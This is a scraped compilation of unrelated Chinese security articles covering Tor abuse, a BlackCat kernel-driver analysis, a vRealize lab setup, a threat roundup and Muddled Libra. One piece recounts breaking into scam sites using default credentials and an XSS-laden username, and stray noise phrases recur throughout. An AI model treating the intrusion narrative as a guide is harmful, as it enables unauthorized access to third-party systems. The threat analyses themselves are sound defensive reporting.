此外，研究人員發現Tor被用來發送各種惡意垃圾郵件，通常以評論和約會垃圾郵件的形式出現。研究人員還發現，通過Tor發送的電子郵件可能包含嚴重的威脅，包括AgentTesla RAT 的傳播、以Adobe 為主題的網絡釣魚電子郵件和Covid-19 貸款詐騙。

使用Tor的攻擊者是如何被抓住的？雖然Tor提供了比許多其他解決方案更好的匿名性，但它並不完美。

2013 年，一名哈佛學生試圖通過發送炸彈攻擊來逃避他的期末考試。他通過Tor連接到一個匿名電子郵件提供商以隱藏他的身份。然後他使用這個電子郵件提供商發送炸彈攻擊。雖然他正確使用了Tor，但當他從哈佛的wifi 網絡連接到Tor時，他犯了一個大錯誤。該生的錯誤是Tor只隱藏了使用者所做的事情，而不隱藏使用Tor的事實。學校管理者從電子郵件的標題中發現有人使用Tor發送電子郵件。他們從那個位置檢查了網絡日誌，看看是否有學生在學校收到郵件的時間內連接到Tor。

臭名昭著的洋蔥服務“絲綢之路”(Silk Road)的創始人羅斯马云惹不起马云烏布里希(Ross Ulbricht)也正確使用了洋蔥網絡，但他在操作上犯了另一個錯誤，導致他被捕。絲綢之路是當時最著名的暗網市場，賣家提供毒品、假鈔、偽造身份證件和槍支等商品。美國聯邦調查局(FBI)發現，早些時候，有人用“薄荷糖”(Altoid)這個筆名四處推銷絲綢之路。 8個月後，Ulbricht用這個筆名發布了招聘廣告，聯繫人是rossulbricht@gmail[.]com ，以聘請一名IT 專家，來幫助“一家由風投支持的比特幣創業公司”。據報導，聯邦調查局隨後能夠訪問Ulbricht使用的VPN 服務器的日誌和谷歌訪問他的Gmail 地址的日誌。這兩項記錄都指向了舊金山的一家網吧，並導致了他的被捕。

攻擊者可以通過其他方法對Tor用戶進行去匿名化，例如，通過使用JavaScript 或設置非法Tor節點（現在可能正在現實世界中發生）。關鍵是，雖然Tor確實提供了一定程度的匿名性，但用戶可以通過操作錯誤洩露他們的身份，或者如果追查者確定並擁有資源，他們可以被識別。

如何阻止攻擊者利用Tor 5.png

如何使用不同的方法來阻止攻擊者利用Tor。標記為Part 1* 和2* 的單元格表示需要同時使用這兩種解決方案來保護企業。

要阻止進出Tor網絡的流量，我們可以阻止公開發布的TorIP，或者識別和阻止Tor應用程序流量。上圖總結了每種阻止機制的示例。首先，我們可以使用已知退出節點IP 列表來阻止來自Tor的攻擊，例如偵察、利用、命令和控制通信、數據洩露和DoS 攻擊。使用已知保護節點IP 列表，我們可以阻止我們的用戶及其設備向Tor發送流量，並防止數據洩露、命令和控制通信、規避地理限制和內容阻止以及訪問.onion 網站。

由於Tor網橋節點列表未知，基於保護節點IP 的阻止只是部分解決方案。相反，我們可以使用Palo Alto Networks 流量分類系統App-ID 直接檢測和阻止Tor流量。除了使用可用的保護和橋接節點IP，App-ID 還會查看連接的特徵，例如使用的密碼套件或數據包的大小來識別Tor流量。

此外，攻擊者可以從Tor網絡或受感染的設備發起數據洩露以及命令和控制通信。因此，要阻止這些攻擊，最好同時使用基於退出IP 和基於流量分析的阻止。

Palo Alto Networks 收集所有公開宣傳的Tor退出IP，並利用它們建立一個電路來測試它們是否有效。已知且有效的Tor退出列表構成了Palo Alto Networks 預定義的Tor退出IP 外部動態列表。

使用Tor退出IP 外部動態列表和App-ID，研究人員觀察到企業使用Tor很常見，因為我們在一個月內確定了204 個客戶網絡中691 台設備上的6617473 個會話。

除了阻止Tor流量外，企業還可以利用Cortex XDR 等端點保護來覆蓋基於Tor的攻擊。 Cortex XDR 基於用戶和實體行為分析(UEBA)、端點檢測和響應(EDR)、網絡檢測和響應(NDR) 以及雲審計日誌來檢測以下活動：

與Tor中繼服務器的可能網絡連接；

來自Tor的成功VPN 連接；

從Tor成功登錄；

來自Tor退出節點的可疑API 調用；

來自Tor的SSO 成功登錄。

總結Tor 為其用戶提供匿名性，不過匿名性經常被不法分子利用，一方面，Tor 可以幫助人們改善隱私和保護舉報人。另一方面，Tor 可用於各種惡意活動，包括匿名偵察、數據盜竊、逃避地理限制、規避內容阻止以及在暗網上運行非法市場。

由於網絡犯罪分子經常將Tor用於惡意目標，因此建議在企業環境中禁止使用Tor。根據調查，企業使用Tor很常見，研究人員在一個月內發現了204 個客戶網絡上的691 台設備的6617473 個會話。

6.png

Palo Alto Networks 提供了兩種用於阻止Tor流量的解決方案，作為攻擊預防的一部分，最好一起使用。他們向客戶提供經過驗證的內置Tor退出IP 外部動態列表，他們可以使用該列表來阻止與Tor退出節點的連接。此外，可以使用Palo Alto Networks 流量分類系統App-ID 阻止企業網絡中的Tor流量。此外，客戶可以利用Cortex XDR 來提醒和響應端點設備、網絡或云中的Tor相關活動。

HireHackking

我們將在本文中詳細介紹發生在2023年2月的BlackCat勒索軟件事件，研究人員在其中發現了一種新型逃避功能。

2022年12月下旬，Mandiant、Sophos和Sentinel One的研究人員發現惡意內核驅動程序是通過幾個微軟硬件開發人員帳戶(由微軟Windows硬件開發人員計劃認證)簽名的，微軟隨後撤銷了幾個在這些攻擊中被濫用的微軟硬件開發者賬戶。

我們將在本文中介紹有關2023年2月發生的BlackCat勒索軟件事件，該變體與三家安全商2022年12月下旬披露的惡意驅動程序重疊。眾所周知，BlackCat在逃避功能上使用了多種技術，比如使用禁用和修改工具或使用安全模式引導技術。

本文重點分析揭示了這種新功能，它涉及使用簽名內核驅動程序進行逃避。我們認為這個新的內核驅動程序是一個最新版本，繼承了以前研究中披露的示例的主要功能。該驅動程序與單獨的用戶客戶機可執行文件一起使用，試圖控制、暫停和終止部署在攻擊目標上的安全代理的各種進程。

攻擊者使用不同的方法對其惡意內核驅動程序進行簽名：通常是通過濫用Microsoft簽名門戶、使用洩露和被盜的證書或使用地下服務。在示例中，攻擊者試圖部署Mandiant披露的舊驅動程序，該驅動程序通過Microsoft簽名(SHA256: b2f955b3e6107f831ebe67997f8586d4fe9f3e98)。由於該驅動程序之前已經被發現並檢測到，攻擊者部署了另一個由被盜或洩露的交叉簽名證書籤名的內核驅動程序。

惡意簽名的內核驅動程序我們觀察到的2023年2月的勒索軟件事件證明，勒索軟件運營商及其附屬機構對獲得他們在攻擊中使用的勒索軟件有效負載的特權級訪問非常感興趣。他們通常使用包含低權限組件的勒索軟件家族，以避免在最終有效負載被釋放後被安全產品檢測到。跟踪分析發現，大多數與內核相關的有效負載通常是在企圖逃避階段被發現的。

1.png

內核級攻擊的分佈

2.png

大多數與內核相關的有效負載都是在企圖逃避階段被發現的

一些勒索軟件攻擊試圖遵守微軟的代碼簽名要求。這使得惡意攻擊者可以靈活地在釋放實際負載之前編譯為特定任務(通常涉及削弱防禦和逃避)設計的內核模塊。攻擊者可以採取以下方法：

1. 使用代碼簽名證書，該證書要么是洩露的，要么是竊取的，要么是從黑市購買的。

2. 通過模仿合法機構並按照微軟的流程獲取交叉簽名證書(前提是微軟允許對內核模式代碼進行交叉簽名)，濫用微軟的門戶來發布簽名的內核模塊，獲得新的有效代碼簽名證書，以及從黑市購買與真實身份相關的有效代碼簽名證書和/或擴展驗證（EV）證書。

3.png

顯示攻擊者如何遵守微軟代碼簽名要求的圖表

對簽名驅動程序的分析接下來，我們將研究二月BlackCat攻擊中使用的簽名驅動程序（ktgn.sys）。下圖顯示了這些新簽署的驅動程序的其他示例，以及它們是如何被用作BlackCat逃避程序的。

4.png

BlackCa在逃避階段釋放的文件

通過虛擬機保護的用戶代理tjr.exe將內核驅動程序釋放到用戶臨時目錄C:\%User%\AppData\Local\Temp\Ktgn.sys。然後安裝被釋放的驅動程序，名稱為Ktgn，啟動值為System（在系統重新啟動時啟動）。通過我們對用戶與該驅動程序交互時發生的情況的分析，我們觀察到它只使用了一個公開的設備輸入和輸出控制（IOCTL）代碼——Kill Process，該代碼用於阻止安裝在系統上的安全代理進程。

與此同時，驅動程序ktgn.sys使用當前吊銷的有效數字簽名從“BopSoft”(它也曾被其他攻擊者用於代碼簽名)簽名，可以成功加載到執行簽名策略的64位Windows安裝中，該驅動程序使用Safengine Protector v2.4.0.0工具進行混淆，這使得靜態分析技術不可靠。通過加載被混淆的驅動程序並嘗試構建一個用戶模式客戶端來觀察暴露的IOCTL接口，我們可以確定每個IOCTL代碼的函數。最後，我們觀察到相同的內核驅動程序被不同的代碼簽名證書籤名。

5.png

具有不同簽名者的驅動程序變體

6.png

用於混淆二進製文件的封裝程序

由於它沒有註冊卸載回調函數，因此只有在釋放或修改服務註冊表項後重新啟動系統時，才能卸載驅動程序。

7.png

服務控制管理器無法停止該服務

8.png

缺少卸載函數的驅動程序

一個名為\\.\keHeperDriverLink的符號鏈接被創建，該符號允許用戶模式客戶端與其連接和通信。請注意，該鏈接只允許一個連接，如果多個客戶端試圖同時連接，系統將崩潰。

8.png

正在檢查另一個用戶模式進程是否正在嘗試連接到驅動程序

9.png

暴露的IOCTL接口

這個客戶機支持10個不同的命令，每個命令實現一個特定的功能，該功能由內核驅動程序通過適當的IOCTL接口執行。驅動程序和用戶模式客戶端之間的通信使用irp_mj_devicide_control處理程序通過以下代碼發生，每個IOCTL代碼及其對應的功能：

222088h：激活驅動程序

22208ch：取消激活驅動程序

222094h：終止進程

222184h：刪除文件

222188h：強制刪除文件

22218ch：複製文件

222190h：強制複製文件

2221c8h：註冊進程/線程對象通知

2221c4h：註銷進程/線程對象通知

222264h：重啟系統

根據我們對內核驅動程序的分析，它似乎仍在開發和測試中，因為它的結構不是很好，而且它的一些功能目前還不能使用。接下來將介紹各種IOCTL接口的詳細信息。

IOCTL 222088h在執行任何其他操作之前，必須首先調用IOCTL 222088h來激活驅動程序。如果未調用此代碼，驅動程序將不接受任何操作，並將返回消息STATUS_ACCESS_DENIED。用戶模式客戶端將此激活字節數組發送給驅動程序。

激活是對位於驅動程序中的大小為0x42的硬編碼字節數組進行簡單的字節比較。如果比較通過，它將設置一個BOOLEAN標誌，該標誌將在任何操作之前進行檢查。

11.png

運行內存中的激活字節數

12.png

複製激活字節以測試驅動程序操作

IOCTL 22208 chIOCTL 22208Ch在用戶模式客戶端完成取消之前在IOCTL代碼222088h中設置的標誌的操作後被調用。這將使驅動程序失效並停止處理任何新的操作。

客戶端將需要傳遞IOCTL代碼222088h中傳遞的相同字節數組，以便成功完成操作。

IOCTL 222094 hIOCTL 222094h用於阻止任何用戶模式進程（甚至是受保護的進程）。 Tt從用戶代理接收進程ID，然後在目標進程上下文中創建內核線程。創建的內核線程調用ZwTerminateProcess API來終止目標進程。

13.png

檢查驅動程序是否激活

14.png

IOCTL 222094h終止進程

IOCTL 222184 hIOCTL 222184h用於刪除特定的文件路徑。

15.png

IOCTL 222184h刪除文件路徑

IOCTL 222188 hIOCTL 222188h強制刪除文件。為此，內核驅動程序執行以下操作：

1.它嘗試使用暴力方法打開系統上的所有進程（從PID=0x4到PID=0x27FFD）；

2.當它成功地打開一個進程時，它會嘗試引用進程內的所有句柄，再次使用暴力方法（從HANDLE=0x4開始到HANDLE=0x27FFD）；

3.當它成功引用句柄時，它使用ObQueryNameString API將句柄映射到名稱。當找到匹配項時，內核驅動程序關閉句柄。

此操作將確保關閉對該文件的所有引用，並且該操作可以成功完成，而不會出現任何錯誤，說明該文件正被其他應用程序使用。

16.png

暴力破解PID

17.png

暴力破解句柄

IOCTL 22218 chIOCTL 22218Ch用於復製文件。

18.png

IOCTL 22218Ch用於復製文件

IOCTL 222190 hIOCTL 222190h用於強制複製文件。驅動程序使用與強制刪除相同的操作（IOCTL代碼：222188h）。它使用暴力方法關閉所有進程對文件的所有引用，然後復製文件。

IOCTL 2221C4h和IOCTL 2221C8h

IOCTL 2221C4h和2221C8h都用於註冊和註銷進程/線程通知回調。然而，在撰寫本文時，這兩條路徑都是無法實現的，這表明它們仍處於開發或測試階段。

19.png

註冊對象通知的偽代碼

20.png

註銷對象通知的偽代碼

21.png

對象通知函數的偽代碼

IOCTL 222264 hIOCTL 222264h通過調用HalReturnToFirmware API重啟系統。

總結攻擊者通過終端保護平台(EPP)和終端檢測與響應(EDR)技術，正在積極尋求對Windows操作系統的高權限訪問的惡意攻擊，繞過各類防護措施。由於這些添加的保護層，攻擊者傾向於選擇阻力最小的方法，通過內核層（甚至更低級別）運行惡意代碼。所以我們認為，這種威脅會一直存在。

惡意攻擊者將繼續使用rootkit對安全工具隱藏惡意代碼，繞過防禦，並在很長一段時間內不會被檢測到。這些rootkit將被惡意組織大量使用，他們既擁有逆向工程低級系統組件的技能，又擁有開發此類工具所需的資源。這些惡意攻擊者還擁有足夠的財力，可以從黑市購買rootkit或購買代碼簽名證書來構建rootkit。這意味著涉及這類rootkit的主要危險在於它們能夠隱藏複雜的有針對性的攻擊，這些攻擊將在攻擊的早期使用，允許攻擊者在受害者環境中啟動實際有效負載之前就逃脫檢測。

緩解措施代碼簽名證書通常會被攻擊者濫用，因為它們在攻擊中提供了額外的混淆層。對於組織來說，洩露的密鑰不僅會帶來安全風險，還會導致對原始簽名軟件的聲譽和信任的喪失。企業應該通過實現最佳實踐來保護他們的證書，例如減少對私鑰的訪問，從而降低對證書進行未經授權訪問的風險。為私鑰使用強密碼和其他身份驗證方法還可以幫助保護它們免受惡意攻擊者的竊取或破壞。此外，使用單獨的測試簽名證書(用於測試環境中使用的預發布代碼)可以最大限度地減少實際發布簽名證書在攻擊中被濫用的可能性。

對於一般的勒索軟件攻擊，組織可以實現一個系統的安全框架，分配資源來建立一個強大的防禦策略。建議如下：

盤點資產和數據；

識別授權和未經授權的設備和軟件；

審計事件和事件日誌；

管理硬件和軟件配置；

僅在必要時授予管理員權限和訪問權限；

監控網口、協議和服務；

為合法應用程序建立軟件許可列表；

實施數據保護、備份和恢復措施；

啟用多因素身份驗證(MFA)；

在系統各層部署最新版本的安全解決方案；

注意攻擊的早期跡象；

保護潛在的入口點(如終端、電子郵件、web和網絡)，組織可以檢測並防範惡意元素和可疑活動，從而保護自己免受勒索軟件攻擊。

HireHackking

 前言

    喜欢看电影但又喜欢白嫖,所以经常在一些影视站点观看,偶尔会弹出一些色懒广告,最近公众号也没怎么更新就顺手找到一个色懒约P的广告试试由于尺度比较大打码比较严重

简单总结

  1. 色懒视频---引用外部x站的播放源
      图片       2.选X----后台都是城市和百度的照片乱七八糟的介绍,假的       3.预约---菠菜游戏,通过诱导方式引导下注     图片看到这是不是心动了,在放一张后台的数据图片

实战经过

    通过域名查ip找到找了后台,xx娱乐,扶墙找了一波源码,找到了类似源码以及搭建教程泄露了站点的ip一般的站点演示都附带了演示账号密码后台以及各种指纹特征
图片    通过演示站点的指纹和默认账号密码找到一批同类型的站点,基本都是通过色懒视频约p噱头引导玩菠菜图片    后台开奖预设,都是骗局,希望看到这里可以分享此篇文章给你的色懒朋友
图片    前期是通过找源码找演示站找指纹的方式搞进去的,还有一些站点,就是正常的渗透方式
    首先注册账号
    看到提示用户名可以自定义直接顺带上xss代码,比较鸡肋,后台很难触发图片     后台用户展示是这样,管理点击用户详细信息才会触发图片图片        还有就是基本上都是养鱼式引导,小额提现,大额各种阻挠图片    最后统计3k多人小台    找到管理员大概位置

图片



转载于原文链接： https://mp.weixin.qq.com/s/IIyt-m1ul0UPXvocmwCfag
HireHackking

0x00 前言本文記錄從零開始搭建vRealize Log Insight漏洞調試環境的細節。

0x01 簡介本文將要介紹以下內容：

vRealize Log Insight安裝

vRealize Log Insight漏洞調試環境配置

數據庫操作

0x02 vRealize Log Insight安裝參考資料：https://docs.vmware.com/en/vRealize-Log-Insight/index.html

1.下載OVA文件下載頁面：https://customerconnect.vmware.com/evalcenter?p=vr-li

下載前需要先註冊用戶，之後選擇需要的版本進行下載

2.安裝(1)在VMware Workstation中導入OVA文件

(2)配置

訪問配置頁面https://

選擇Starting New Deployment，設置admin用戶口令

3.開啟遠程調試功能(1)查看所有服務的狀態

1.png結果如下圖

下载.png

定位到web相關的服務為loginsight.service

(2)查看loginsight.service的具體信息

2.png

結果如下圖

3.png

定位到服務啟動文件：/usr/lib/loginsight/application/bin/loginsight

(3)查看進程參數

執行命令：ps aux|grep java

返回結果：

4.png 5.png 6.png 7.png結果分析如下：

8.png 9.png

0x03 數據庫操作1.重置web登陸用戶admin口令實現文件：/usr/lib/loginsight/application/sbin/li-reset-admin-passwd.sh

從文件中可以獲得數據庫操作的相關信息，如下圖

下载 (1).png

2.連接數據庫的命令參數實現文件：/usr/lib/loginsight/application/lib/apache-cassandra-3.11.11/bin/cqlsh-no-pass

文件內容如下：

10.png 11.png 12.png

3.連接數據庫的用戶名口令13.png

4.連接數據庫的配置信息14.png

(1)使用封裝好參數的文件

15.png

(2)使用參數連接

16.png

從返回結果可以看到數據庫使用了CQL(Cassandra Query Language)

查詢用戶配置的命令：

17.png

5.界面化操作數據庫18.png 下载 (2).png

0x04 小結在我們搭建好vRealize Log Insight漏洞調試環境後，接下來就可以著手對漏洞進行學習。

HireHackking

sl-dark-blue-binary-malware-magnifier-city-world-1200-1200x600.jpg

BlueNoroff引入繞過MotW的新方法早2022年底，研究人員就發布過BlueNoroff組織的活動，這是一個以盜竊加密貨幣而聞名的出於經濟動機的組織，通常利用Word文檔，使用快捷方式文件進行初始攻擊。不過最近的追踪發現，該組織採用了新的方法來傳播其惡意軟件。

其中一種是使用.ISO（光盤映像）和VHD（虛擬硬盤）文件格式，旨在避開Web標記（MotW）標誌。 MOTW是Windows Internet Explorer通過強制使IE瀏覽器瀏覽存儲下來的網頁在安全的位置的一種機制，目的是增強安全性。

該組織似乎也在嘗試用新的文件類型來傳播其惡意軟件。研究人員觀察到一個新的Visual Basic腳本、一個以前未見過的Windows批處理文件和一個Windows可執行文件。

1.png

分析顯示，該組織使用了70多個域名，這意味著他們直到最近都非常活躍。他們還創建了許多看起來像風險投資和銀行域名的假域名，這些域名大多模仿日本風險投資公司，表明該組織對日本金融機構有著廣泛的興趣。

Roaming Mantis使用了新的DNSChanger(DNS解析器)Roaming Mantis（又名Shaoye）是一個針對亞洲國家的知名攻擊組織。從2019年到2022年，這名攻擊者主要使用“smishing”來提供其登陸頁面的鏈接，目的是控制受攻擊的安卓設備並竊取設備信息，包括用戶憑據。

然而，在2022年9月，研究人員發現Roaming Mantis使用了新的Wroba.o Android惡意軟件，並發現了一個DNS解析器功能，該功能主要針對韓國使用的特定Wi-Fi路由器。

2.png

這可以用於管理來自使用惡意DNS設置的受攻擊Wi-Fi路由器的設備的所有通信，例如，將某人重定向到惡意主機並干擾安全產品更新。用戶將受攻擊的安卓設備連接到咖啡館、酒吧、圖書館、酒店、購物中心和機場等場所的免費公共Wi-Fi。當連接到具有易受攻擊設置的目標Wi-Fi型號時，惡意軟件將破壞路由器並影響其他設備。因此，它可以在目標區域廣泛傳播。

BadMagic：與俄烏衝突有關的新APT組織自俄烏衝突開始以來，研究人員已經發現了大量地緣政治網絡攻擊。

去年10月，研究人員就發現了BadMagic的攻擊。最初的攻擊途徑尚不清楚，但接下來要使用魚叉式網絡釣魚或類似的方法。攻擊目標被導航到一個URL，該URL指向託管在惡意web服務器上的ZIP文檔。該文檔包含兩個文件：一個是誘餌文檔（研究人員發現了PDF、XLSX和DOCX版本），另一個是帶有雙重擴展名的惡意LNK文件（例如PDF.LNK），打開後會導致攻擊。

3.png

在一些情況下，誘餌文檔的內容與惡意LNK的名稱直接相關，以誘使用戶激活它。

LNK文件下載並安裝了一個名為“PowerMagic”的PowerShell後門，該後門反過來部署了一個複雜的模塊化框架“CommonMagic”。研究人員發現CommonMagic插件能夠從USB設備中竊取文件，並進行截屏將其發送給攻擊者。

4.png

在初步分析中，研究人員無法找到任何證據將他們發現的樣本和活動中使用的數據與任何以前已知的攻擊者聯繫起來。

Prilex針對非接觸式信用卡交易發起攻擊Prilex已經從專注於ATM的攻擊演變成了涉及PoS的攻擊。該組織開發的最新惡意軟件不是基於PoS攻擊中常見的內存抓取器技術，而是直接開發了一種高度先進的惡意軟件，該軟件包括獨特的加密方案、目標軟件的實時補丁、強制協議降級、操縱密碼、執行所謂的“GHOST交易”和信用卡欺詐，甚至是芯片和PIN卡上的欺詐。

在調查一起事件時，研究人員發現了新的Prilex樣本，其中一個新功能包括阻止非接觸式交易的功能。這些交易生成一個僅對一筆交易有效的唯一標識符，這樣攻擊者就沒有辦法利用它了。通過阻止交易，Prilex試圖迫使客戶插入他們的卡來進行芯片和PIN交易，這樣攻擊者就有機會使用他們的標準技術從卡中捕獲數據。

隨著非接觸式卡交易的增加，該技術可以讓Prilex攻擊者繼續竊取卡信息。

攻擊者使用社會工程來攻擊PoS終端，他們試圖說服零售店的員工，他們迫切需要更新終端的軟件，並允許所謂“技術專家”訪問商店，或者至少提供遠程訪問終端的權限。所以，零售公司要警惕攻擊跡象，包括反复失敗的非接觸式交易，並教育員工了解這種攻擊方法。

對於零售公司（尤其是擁有許多分支機構的公司）來說，制定內部法規並向所有員工解釋技術支持或維護人員應該如何運作是很重要的。這至少可以防止對pos終端的未經授權的訪問。此外，提高員工對最新網絡威脅的意識總是一個好主意，這樣他們就不會那麼容易受到新的社會工程技巧的影響。

使用假冒Tor瀏覽器竊取加密貨幣研究人員最近發現了一個正在進行的加密貨幣盜竊活動，影響了52個國家的1.5萬多名用戶。攻擊者使用了一種已經存在了十多年的技術，最初是由銀行木馬用來替換銀行賬號的。然而，在最近的活動中，攻擊者使用木馬版的Tor瀏覽器來竊取加密貨幣。

目標從包含密碼保護的RAR文檔的第三方資源下載Tor瀏覽器的木馬化版本，密碼用於防止其被安全解決方案檢測到。一旦文件被釋放到目標計算機上，它就會在系統的自動啟動中自我註冊，並偽裝成一個流行應用程序（如uTorrent）的圖標。

5.png

惡意軟件一直等到剪貼板中出現錢包地址，然後將輸入的剪貼板內容的一部分替換為攻擊者自己的錢包地址。

對現有樣本的分析表明，這些攻擊目標的估計損失至少為40萬美元，但實際被盜金額可能要大得多，因為研究人員的研究只關注Tor瀏覽器濫用。其他活動可能使用不同的軟件和惡意軟件傳播方法，以及其他類型的錢包。

研究人員目前還無法確定一個承載安裝程序的網站，因此它可能是通過torrent下載或其他軟件下載程序傳播的。來自官方Tor項目的安裝程序是數字簽名的，不包含任何此類惡意軟件的跡象。因此，為了保證安全，你應該只從可靠和可信的來源下載軟件。即使有人下載了木馬化的版本，一個好的反病毒產品也應該能夠檢測到它。

還有一種方法可以檢查你的系統是否受到同類惡意軟件的攻擊。在記事本中輸入以下“比特幣地址”：

bc1heymalwarehowaboutyoureplacethisaddress

現在按Ctrl+C和Ctrl+V。如果地址更改為其他地址，則係統可能受到剪貼板注入器惡意軟件的危害，並且使用起來很危險。

6.png

我們建議你用安全軟件掃描你的系統。如果你不確定是否有隱藏的後門，那麼一旦系統被破壞，你就不應該信任它，直到它被重建。

利用ChatGPT發起攻擊自從OpenAI通過ChatGPT向公眾開放其大型GPT-3語言模型以來，人們對該項目的興趣猛增，爭相探索它的可能性，包括寫詩、參與對話、提供信息、為網站創建內容等等。

關於ChatGPT對安全格局的潛在影響，也有很多討論。

鑑於ChatGPT模仿人類互動的能力，使用ChatGPT的自動魚叉式網絡釣魚攻擊很可能已經發生了。 ChatGPT允許攻擊者在工業規模上生成有說服力的個性化電子郵件。此外，來自釣魚信息目標的任何回复都可以很容易地輸入聊天機器人的模型，在幾秒鐘內產生令人信服的後續活動。也就是說，雖然ChatGPT可能會讓攻擊者更容易偽造網絡釣魚信息，但它並沒有改變這種攻擊形式的本質。

攻擊者還在地下黑客論壇上介紹了他們如何使用ChatGPT創建新的木馬。由於聊天機器人能夠編寫代碼，如果有人描述了一個所需的功能，例如，“將所有密碼保存在文件X中，並通過HTTP POST發送到服務器Y”，他們可以在不具備任何編程技能的情況下創建一個簡單的信息竊取器。然而，這樣的木馬很可能是很低級的，並且可能包含效果較差的漏洞。至少就目前而言，聊天機器人只能編寫低級惡意軟件。

研究人員還發現了一個惡意活動，試圖利用ChatGPT日益流行的優勢。欺詐者創建了模仿愛好者社區的社交網絡群組。這些群組還包含預先創建的帳戶的虛假憑據，這些帳戶聲稱可以訪問ChatGPT。這些群組包含一個看似合理的鏈接，邀請人們下載一個虛假的Windows版ChatGPT。

7.jpg

該惡意鏈接安裝了一個木馬，可以竊取存儲在Chrome、Edge、Firefox、Brave和其他瀏覽器中的帳戶憑證。

由於安全研究人員經常發布有關攻擊者的報告，包括TTP（戰術、技術和程序）和其他指標，研究人員決定嘗試了解ChatGPT對安全格局的影響，以及它是否可以幫助常見的惡意工具和IoC，如惡意哈希和域。

基於主機的工件的響應看起來很有希望，所以研究人員指示ChatGPT編寫一些代碼，從測試Windows系統中提取各種元數據，然後問自己元數據是否是IoC：

8.png

由於某些代碼片段比其他代碼片段更方便，研究人員繼續手動開發這種概念驗證：他們過濾了ChatGPT響應包含關於IoC存在的“yes”語句的事件的輸出，添加了異常處理程序和CSV報告，修復了小漏洞，並將代碼片段轉換為單獨的cmdlet，從而生成了一個簡單的IoC掃描器HuntWithChatGPT.psm1，它能夠通過WinRM掃描遠程系統。

雖然對於OpenAI API來說，IoC掃描的精確實現目前可能不是一個非常划算的解決方案，因為每台主機需要15到20美元，但它顯示了有趣的結果，並為未來的研究和測試提供了機會。

人工智能對我們生活的影響將遠遠超出ChatGPT和其他當前機器學習項目的能力。 Ivan Kwiatkowski是卡巴斯基實驗全球研究和分析團隊的一名研究員，他最近探討了我們可以預期的長期變化的可能範圍。這些觀點不僅包括人工智能帶來的生產力提高，還包括它可能帶來的社會、經濟和政治變化的影響。

追踪用戶的數字足跡研究人員已經習慣了服務提供商、營銷機構和分析公司跟踪用戶的鼠標點擊、社交媒體帖子以及瀏覽器和流媒體服務的歷史記錄。公司這麼做有很多原因，他們希望更好地了解我們的偏好，並建議我們更有可能購買的產品和服務。他們這樣做是為了找出我們最關注的圖像或文本，甚至還向第三方出售我們的在線行為和偏好。

跟踪是使用網絡信標（又名追踪器像素和間諜像素）完成的。最流行的跟踪技術是將1×1甚至0x0像素的微小圖像插入電子郵件、應用程序或網頁。電子郵件客戶端或瀏覽器通過傳輸服務器記錄的有關用戶的信息來請求從服務器下載圖像。這包括時間、設備、操作系統、瀏覽器和下載像素的頁面。這就是信標操作員了解你打開電子郵件或網頁的方式以及方式。通常使用網頁中的一小段JavaScript來代替像素，它可以收集更詳細的信息。這些信標被放置在每個頁面或應用程序屏幕上，使公司可以在你上網的任何地方跟踪你。

在研究人員最近關於網絡追踪器的報告中，他們列出了網站和電子郵件中最常見的20個信標。網絡信標的數據基於卡巴斯基匿名統計數據，該組件阻止網站追踪器的加載。大多數公司至少與數字廣告和營銷有一定聯繫，包括谷歌、微軟、亞馬遜和甲骨文等科技巨頭。

9.jpg

電子郵件信標的數據來自卡巴斯基郵件產品的匿名反垃圾郵件檢測數據。列表中的公司是電子郵件服務提供商（ESP）或客戶關係管理（CRM）公司。

10.jpg

使用追踪器收集的信息不僅對合法公司有價值，對攻擊者也有價值。如果他們能夠獲得這些信息，例如，由於數據洩露，他們可以利用這些信息攻擊在線賬戶或發送虛假電子郵件。此外，攻擊者還利用網絡信標。你可以在此處找到有關如何保護自己免受跟踪的信息。

通過搜索引擎插入惡意廣告最近幾個月，研究人員觀察到使用谷歌廣告作為傳播惡意軟件手段的惡意活動數量有所增加。至少有兩個不同的竊取程序——Rhadamanthys和RedLine，它們濫用了搜索引擎推廣計劃，以便向受害者的電腦發送惡意有效負載。

11.png

他們似乎使用了與著名軟件（如Notepad++和Blender 3D）相關的網站模仿技術。攻擊者創建合法軟件網站的副本，並使用“誤植域名”(使用拼寫錯誤的品牌或公司名稱作為url)或“組合搶注”(如上所述，但添加任意單詞作為url)來使網站看起來合法。然後，他們付費在搜索引擎中推廣該網站，以將其推到搜索結果的首位。

12.png

惡意軟件的分佈表明，攻擊者的目標是全球範圍內的個人和企業受害者。

HireHackking

2022年底，隨著0ktapus網絡釣魚工具包的發布，Muddled Libra正式出現在公眾視野，該工具包提供了預構建的託管框架和捆綁模板，利用大量用虛假身份驗證的真實門戶進行有針對性的攻擊，攻擊者能夠快速收集憑據和多因素身份驗證MFA代碼。如今0ktapus框架已被商品化，即使是攻擊新手也能獲得很高的成功率。 0ktapus框架功能包括預構建的模板和通過Telegram內置的C2頻道，成本只需幾百美元。

這個工具包所攻擊的目標的數量之多，以至於給攻擊歸屬造成了很多困惑。 Group IB、CrowdStrike和Okta之前的報告已經記錄並將其中許多攻擊映射到以下組織：0ktapus、Scattered Spider和Scatterd Swine。以上三個名字很可能是一個組織，也很可能是使用同一個工具包的三個組織。 Muddled Libra就是其中的一個組織。

Unit 42發現Muddled Libra攻擊時具有以下特點：

马云惹不起马云使用0ktapus網絡釣魚工具包；

马云惹不起马云持續攻擊；

马云惹不起马云非破壞性存在；

马云惹不起马云持續瞄準業務流程外包（BPO）行業；

马云惹不起马云數據被盜；

马云惹不起马云 在下游攻擊中使用受攻擊的基礎設施；

調查表明Muddled Libra使用了一個異常龐大的攻擊工具包，包括社會工程、滲透測試和取證工具，其功能要強於強大的網絡防禦能力。

在Unit 42調查的事件中，Muddled Libra在攻擊目標選擇上非常有針對性，進攻策略也非常靈活。當一個攻擊方法被阻斷時，他們要么迅速轉向另一個方法，要么轉化攻擊環境重新開始攻擊。

Muddled Libra也對現代事件響應（IR）框架有著深刻理解，這使他們能夠不斷修改攻擊策略從而實現攻擊目的。

Muddled Libra更傾向於使用被盜數據來對受害者發起攻擊，如果允許，他們會反复刷新被盜數據集。使用這些被盜數據，即使在最初的事件響應之後，攻擊者也有能力回到以前的受害者那裡。這證明了攻擊者即使在被發現後仍具有持續攻擊能力。

此外，Muddled Libra似乎對他們的攻擊行為有明確的預期和路徑設計，而不僅僅是投機取巧那麼簡單。他們在發動攻擊時，會迅速尋找並竊取了下游客戶端環境中的信息，然後利用這些信息進入到攻擊環境中。他們對高價值客戶以及對後續攻擊最有用的信息有著1前瞻性判斷。

